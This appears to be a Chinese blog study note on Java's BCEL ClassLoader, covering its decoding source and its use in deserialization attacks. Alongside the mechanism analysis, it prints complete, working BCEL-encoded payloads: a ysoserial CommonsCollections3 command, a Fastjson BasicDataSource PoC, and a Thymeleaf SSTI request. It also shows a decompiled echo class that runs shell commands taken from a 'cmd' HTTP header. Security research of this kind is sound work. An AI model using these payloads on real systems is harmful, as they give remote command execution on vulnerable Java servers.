Java安全之BCEL ClassLoader

写在前面

BCEL平常在测试反序列化的时候也经常会用到,比如延时测Gadget以及在某些场景下执行命令不是那么顺手的情况下选择BCEL去打内存马,就像Fastjson和Thymeleaf SSTI这种。以前也只是用到这个BCEL但是没有仔细学习过,下面简单学习记录下BCEL。

About BCEL

BCEL Classloader在 JDK < 8u251之前是在rt.jar里面。

同时在Tomcat中也会存在相关的依赖

tomcat7

org.apache.tomcat.dbcp.dbcp.BasicDataSource

tomcat8及其以后

org.apache.tomcat.dbcp.dbcp2.BasicDataSource

而在rt.jar!/com/sun/org/apache/bcel/internal/util/包下,有Classloader这么一个类,可以实现加载字节码并初始化一个类的功能,该类也是个Classloader(继承了原生的Classloader类)重写了loadClass()方法,源码如下:

protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null; /* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
} if(cl == null) {
JavaClass clazz = null; /* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
} if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
} if(resolve)
resolveClass(cl);
} classes.put(class_name, cl); return cl;
}

首先会判断类名是否以$$BCEL$$开头,之后调用createClass()方法拿到一个JavaClass对象最终通过defineClass()加载字节码还原类。

调试分析

先来看下简单的使用,在同一包下,准备一个恶意类

package MemoryShell.BCEL;

import java.io.IOException;

public class calc {
static{
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}

准备一个BCEL的demo,运行即可。

package MemoryShell.BCEL;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader; public class BCELDemo {
public static void main(String[] args) throws Exception { JavaClass cls = Repository.lookupClass(calc.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code); new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
}
}

下面来调试一下,直接跟到loadClass()方法里,首先是去调用createClass()方法

createClass()中,通过subString()截取$$BCEL$$后的字符串,并调用Utility.decode进行相应的解码并最终返回改字节码的bytes数组(decode方法参数uncompress用来标识是否为zip流,当为true时走zip流解码)。之后生成Parser解析器并调用parse()方法进行解析,并生成JavaClass对象

createClass源码如下:

protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8); JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo"); clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
} // Adapt the class name to the passed value
ConstantPool cp = clazz.getConstantPool(); ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
Constants.CONSTANT_Class);
ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
Constants.CONSTANT_Utf8);
name.setBytes(class_name.replace('.', '/')); return clazz;
}

Utility.decode()源码:

 /** Decode a string back to a byte array.
*
* @param bytes the byte array to convert
* @param uncompress use gzip to uncompress the stream of bytes
*/
public static byte[] decode(String s, boolean uncompress) throws IOException {
char[] chars = s.toCharArray(); CharArrayReader car = new CharArrayReader(chars);
JavaReader jr = new JavaReader(car); ByteArrayOutputStream bos = new ByteArrayOutputStream(); int ch; while((ch = jr.read()) >= 0) {
bos.write(ch);
} bos.close();
car.close();
jr.close(); byte[] bytes = bos.toByteArray(); if(uncompress) {
GZIPInputStream gis = new GZIPInputStream(new ByteArrayInputStream(bytes)); byte[] tmp = new byte[bytes.length * 3]; // Rough estimate
int count = 0;
int b; while((b = gis.read()) >= 0)
tmp[count++] = (byte)b; bytes = new byte[count];
System.arraycopy(tmp, 0, bytes, 0, count);
} return bytes;
}

之后获取到了该JavaClass对象的bytes数组并调用java原生的defineClass()加载

之后就是在newInstance()时初始化触发静态代码块执行

食用姿势

Fuzz反序列化Gadget

以测试CC3为例,使用c0ny1师傅的ysoserial-for-woodpecker项目,先准备一个可以延时的类

package MemoryShell.BCEL;

public class sleep {
static {
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}

yso

/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/bin/java -jar ysoserial-for-woodpecker-0.5.0.jar -g CommonsCollections3 -a bcel:$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dRMK$c3$40$Q$7d$db$sM$h$a3$adUk$fd$fe$b8$a8$3d$Y$f0$aaxP$U$aa$a9$kZz$U$b6$e9b$a3i$S$d6T$f4$Xy$eeE$c5$83$3f$c0$l$r$ce$aeU$R$c4$81$9da$de$ec$bc$f7X$f6$ed$fd$e5$V$c0$O$d6m$e41kB$c7F$c9F$Vs$W$e6m$98X$b0$b0ha$89$n$b7$XDA$ba$cf$90$dd$dcj3$Y$87qW0$U$bd$m$Sg$83$7eG$c8$W$ef$84$84$94$bd$d8$e7a$9b$cb$40$f5$p$d0H$7b$c1$NC$d5k$88$7e$y$ef$9b$3d$R$86$ee$c1$e1$91$e7$de$84B$q$bb$M$f9$3d$3f$i$J0ZX$f5$ae$f8$zwC$k$5d$ba$f5$u$VR$O$92Tt$8f$ee$7c$91$a4A$i$d1$c6x3$e5$feu$83$tZ$83$ec2$d8$cdx$m$7dq$i$uM$5bSo$x$k$H$F$d8$W$96$j$ac$60$95a$f9$7fn$Hk$b0$Z$w$7f$7be$u$fd$ac$9fw$ae$84$9f$fe$82Z$3d$vx$97$c1$i$dd66O$d4$7b$V$T$ZD$a9$b6$dc$92$dc$X$a4a$d1$a3$ab$c8$80$v$7f$94$c7$a8s$a92$aaf$ed$Jl$a8$c7$O$e5$9c$G$b3$Y$a7$ec$7c$5e$c0$E$8aT$f3$u$7d$__h2$a08$8d$cc3$8c$H$e4Ok$8f$c8$N5$98$p$V$93$u$U$5d$F$a6F$UV$m$t$ea$DLP$fe$a2$b7a$60$Se$ea$a6$e8X$c8$d4$zL$h4$98$d1$8e$w$l$84$cfe$82$3b$C$A$A

当然也可以用c0ny1师傅提到的通过class去Fuzz Gadget,这个也被集成到了他最新版本的yso中(吹爆)

Fastjson BCEL Payload

这个也是老生常谈的东西了,这里就简单记录下自己在复现时遇到的一点小bug。

PoC

{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}

回显

Content-Type: application/json
cmd: whoami
Content-Length: 3327 {
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
}
}: "x"
}

测试的时候抛出了异常

打个断点,异常出在createDriver方法,我们跟进去看下,顺便看一下这里是如何去利用BCEL Classloader的

static Driver createDriver(BasicDataSource basicDataSource) throws SQLException {
Driver driverToUse = basicDataSource.getDriver();
String driverClassName = basicDataSource.getDriverClassName();
ClassLoader driverClassLoader = basicDataSource.getDriverClassLoader();
String url = basicDataSource.getUrl();
if (driverToUse == null) {
Class<?> driverFromCCL = null;
String message;
if (driverClassName != null) {
try {
try {
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
} catch (ClassNotFoundException var8) {
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
}
} catch (Exception var9) {
message = "Cannot load JDBC driver class '" + driverClassName + "'";
basicDataSource.log(message, var9);
throw new SQLException(message, var9);
}
} try {
if (driverFromCCL == null) {
driverToUse = DriverManager.getDriver(url);
} else {
driverToUse = (Driver)driverFromCCL.getConstructor().newInstance();
if (!driverToUse.acceptsURL(url)) {
throw new SQLException("No suitable driver", "08001");
}
}
} catch (Exception var10) {
message = "Cannot create JDBC driver of class '" + (driverClassName != null ? driverClassName : "") + "' for connect URL '" + url + "'";
basicDataSource.log(message, var10);
throw new SQLException(message, var10);
}
} return driverToUse;
}
}

最终会走到Class.forName(driverClassName, true, driverClassLoader); ,这个点在C3P0有提到过,当这里设置为true时,如果没有初始化过目标类,则会将其初始化。而继续单步调试时就跟不进去了,不过可以看到已经抛出了异常。这里抛出的是没有找到SpringRequestContextHolder类的异常,因为测试环境是没有用到Spring的。这里猜测可能是safe6sec师傅这个回显的poc是Spring下的回显。

也可以把BCEL字段拿出来,decode一下还原成class文件,看一看代码

还原代码如下:

public class BCELDemo {
public static void main(String[] args) throws Exception {
byte[] bytes = BCELDecode(FJ_BCEL_ECHO_1_2_24);
getFileByByte(bytes,"aa.class", "/test");
} public static byte[] BCELDecode(String BCELcode) throws IOException {
int index = BCELcode.indexOf("$$BCEL$$");
String real_name = BCELcode.substring(index + 8);
return Utility.decode(real_name, true);
} public static void getFileByByte (byte[] bytes, String fileName, String filePath){
BufferedOutputStream bos = null;
FileOutputStream fos = null;
File file = null; try {
file = new File(filePath + "/" + fileName);
fos = new FileOutputStream(file);
bos = new BufferedOutputStream(fos);
bos.write(bytes); } catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} finally {
if (bos != null){
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (fos != null){
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}

反编译class得到代码如下:

package com.fastjson.vul;

import java.lang.reflect.Method;
import java.util.Scanner; public class SpringEcho {
public SpringEcho() {
} static {
try {
Class var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method var1 = var0.getMethod("getRequestAttributes");
Object var2 = var1.invoke((Object)null);
var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
var1 = var0.getMethod("getResponse");
Method var3 = var0.getMethod("getRequest");
Object var4 = var1.invoke(var2);
Object var5 = var3.invoke(var2);
Method var6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method var7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
var7.setAccessible(true);
var6.setAccessible(true);
Object var8 = var6.invoke(var4);
String var9 = (String)var7.invoke(var5, "cmd");
String[] var10 = new String[3];
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
var10[0] = "cmd";
var10[1] = "/c";
} else {
var10[0] = "/bin/sh";
var10[1] = "-c";
} var10[2] = var9;
var8.getClass().getDeclaredMethod("println", String.class).invoke(var8, (new Scanner(Runtime.getRuntime().exec(var10).getInputStream())).useDelimiter("\\A").next());
var8.getClass().getDeclaredMethod("flush").invoke(var8);
var8.getClass().getDeclaredMethod("close").invoke(var8);
} catch (Exception var11) {
} }
}

所以如果环境没有Spring时换成TomcatEcho的payload丢进去就可以了

Thymeleaf SSTI Payload

这个场景如果可以用BCEL就会很方便,比如可以直接去打内存马、reg等进去。

参考的turn1tup师傅文章

poc: Mac Calc

POST /path HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 1010 lang=::__${"".getClass().forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$db$40$U$3d$938$b1c$9c$G$C$BZ$fa$I$ef$80$E$96$d8$82X$QQ$a9$aa$81$aaAt$3d$ZFa$c0$f1D$ce$E$c1$X$b1f$D$88$F$l$c0G$n$ee$98$94$o$VK$9e$fb$3c$e7$9e$3b$f3$f8t$ff$A$60$DK$3e$3cL$f9$98$c6G$P$9f$ac$9dq$f1$d9G$B_$5c$7cu$f1$8d$a1$b8$a5$Se$b6$Z$f2$8d$95$p$G$a7$a9$8f$rC$rR$89$dc$lt$db2$3d$e4$ed$982$d5H$L$k$l$f1T$d9x$98t$cc$89$ea3LE$7b$b2$ab$d3$cb$d6$89$8c$e3p$a7$b9$h$85$d4$x6$Z$bc$z$R$P$f9$Z$f5$d7$a2S$7e$ceC$a5$c3$l$H$bb$XB$f6$8c$d2$J$b5$95$5b$86$8b$b3$3d$de$cbxI$o$83$df$d2$83T$c8$ef$ca$ce$vY$bau$8b$NP$82$ef$a2$k$60$Ws$a4J$f7dR_$e3$f5$s5$Mbnt$g$60$k$L$M$e3$efL$K$b0$I$9fT$bc$ab$96a4$83$c4$3c$e9$84$H$edS$v$M$c3$d8$bf$d4$efAbT$97$c4$f8$ji$5e$83Zc$r$fa$af$876r$e4$85$q$ca$e5$c6$9bj$cb$a4$w$e9l$be$F$fcJ$b5$90$fd$3e$B$w$3d$w$9a$ec$k$OS$$$q$ed$e7$d2$e3$d9$_$Hf$b7$a6s$84$a2$90$y$p$5bX$bd$F$bb$ce$ca$B$9d$c5$97$q$cat$GC$ff$D$wd$3d$8c$be$82yF$GT$ef$90$ab$e6o$e0$fc$b9$82$f7s$f5$G$c5$eb$y_$ol$B$f9$8cq$92$3c$8b$$$R$d2$5e$7b$99X$c6$c8$fb$3b$a1$M$87$e2$wE$e3$f4$bb$c8E$$$s$i$w$d42Q$93$cfC$e1$98g$86$C$A$A", true, "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance())}_______________

Java安全之BCEL ClassLoader的更多相关文章

  1. Java基础-类加载机制与自定义类Java类加载器(ClassLoader)

    Java基础-类加载机制与自定义类Java类加载器(ClassLoader) 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 关于类加载器的概念和分类我就不再废话了,因为我在之前的笔 ...

  2. Java类载入器 ClassLoader的解析

    //參考 : http://www.ibm.com/developerworks/cn/java/j-lo-classloader/ 类载入器基本概念 类载入器是 Java 语言的一个创新,也是 Ja ...

  3. Java 类加载体系之 ClassLoader 双亲委托机制

    Java 类加载体系之 ClassLoader 双亲委托机制 java 是一种类型安全的语言,它有四类称为安全沙箱机制的安全机制来保证语言的安全性,这四类安全沙箱分别是: 类加载体系 .class文件 ...

  4. java笔记--理解java类加载器以及ClassLoader类

    类加载器概述: java类的加载是由虚拟机来完成的,虚拟机把描述类的Class文件加载到内存,并对数据进行校验,解析和初始化,最终形成能被java虚拟机直接使用的java类型,这就是虚拟机的类加载机制 ...

  5. Java Se:自定义ClassLoader

    JVM是如何知道java.lang包中的类的?JVM又是如何知道我们应用中的类的?我们的应用中明明是有某个类, 但是JVM却抛出ClassNotFoundException,这是为什么?XxxImpl ...

  6. Java运行时环境---ClassLoader类加载机制

    背景:听说ClassLoader类加载机制是进入BAT的必经之路. ClassLoader总述: 普通的Java开发其实用到ClassLoader的地方并不多,但是理解透彻ClassLoader类的加 ...

  7. Java 反射 (Class、ClassLoader、Constructor、Method、Field)

    反射是Java中一个非常重要.非常强大的机制.曾看到一句话“反射是框架的灵魂”,初学时不懂,等到学完框架之后才慢慢理解其意. 什么是反射?我们先通过几个类和示例来初步体会一下反射. 一.ClassLo ...

  8. java类载入器——ClassLoader

    Java的设计初衷是主要面向嵌入式领域,对于自己定义的一些类,考虑使用依需求载入原则.即在程序使用到时才载入类,节省内存消耗,这时就可以通过类载入器来动态载入. 假设你平时仅仅是做web开发,那应该非 ...

  9. 【Java虚拟机10】ClassLoader.getSystemClassLoader()流程简析

    前言 学习类加载必然离开不了sun.misc.Launcher这个类和Class.forName()这个方法. 分析ClassLoader.getSystemClassLoader()这个流程可以明白 ...

随机推荐

  1. 1030 - Discovering Gold

    1030 - Discovering Gold    PDF (English) Statistics Forum Time Limit: 2 second(s) Memory Limit: 32 M ...

  2. mac学习Python第一天:安装、软件说明、运行python的三种方法

    一.Python安装 从Python官网下载Python 3.x的安装程序,下载后双击运行并安装即可: Python有两个版本,一个是2.x版,一个是3.x版,这两个版本是不兼容的. MAC 系统一般 ...

  3. mod4最优路径问题(转载)

    原文链接:https://blog.csdn.net/ACdreamers/article/details/18501855 mod4最优路径问题 如下图: 从1到4找出一条路径,要求路径的总长度mo ...

  4. Normalized Cuts and Image Segmentation

    目录 概 主要内容 求解 相似度 总的算法流程 skimage.future.graph.cut Shi J. and Malik J. Normalized cuts and image segme ...

  5. Dimension reduction in principal component analysis for trees

    目录 问题 重要的定义 距离 支撑树 交树 序 tree-line path 重要的性质 其它 Alfaro C A, Aydin B, Valencia C E, et al. Dimension ...

  6. Webpack有哪些常见的Loader?他们是解决什么问题的?

    先来了解一下Loader,webpack是属于模块化方案,他能让任意类型的文件都能运行在浏览器中,怎么做到呢?这时就有了loader 定义: loader 用于对模块的源代码进行转换.loader 可 ...

  7. MySQL数据库安装Version5.7

    MySQL数据库版本: mysql-5.7.22-linux-glibc2.12-x86_64 Linux服务器系统: CentOS 7.4 64bit MySQL安装用户: mysql/aliyun ...

  8. Python 使用timeit模块计算时间复杂度时系统报“invalid syntax”错误

    最近在看算法相关的文档 在时间复杂度环节 遇到一个实例: 导入timeit模块后,通过Timer定时器计算两种不同处理方法的时间复杂度 错误代码及报错如下图所示: 仔细查阅 发现from__main_ ...

  9. vert.x框架-简单路由使用

    package xue.myVertX; import io.vertx.core.AbstractVerticle; import io.vertx.core.Vertx; import io.ve ...

  10. Linux上天之路(十四)之Linux数据处理

    主要内容 数据检索 数据排序 数据去重 重定向 1. 数据检索 常和管道协作的命令 – grep grep:用于搜索模式参数指定的内容,并将匹配的行输出到屏幕或者重定向文件中,常和管道协作的命令 – ...